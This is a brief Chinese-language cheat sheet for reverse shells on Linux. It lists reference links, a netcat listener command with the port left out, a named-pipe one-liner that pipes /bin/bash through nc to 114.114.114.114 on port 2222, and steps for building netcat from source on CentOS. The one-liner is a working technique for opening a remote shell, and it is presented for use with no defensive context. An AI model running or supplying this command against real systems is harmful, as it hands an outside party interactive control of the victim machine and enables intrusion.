[姿势]

http://www.91ri.org/6620.html

http://www.waitalone.cn/linux-shell-rebound-under-way.html

[图释]

http://www.219.me/posts/1760

NC方式实现

服务端[IP:114.114.114.114]：

nc -lvnp 

客户端：

mknod /tmp/backpipe p

/bin/bash </tmp/backpipe | nc 114.114.114.114 2222 1>/tmp/backpipe

CentOS下安装nc:

下载---http://sourceforge.net/projects/netcat/files/

tar xzvf  netcat-XXX.tar.gz

cd netcat-XXX

./configure

make

make install
#nc 所在路径 /usr/local/bin/nc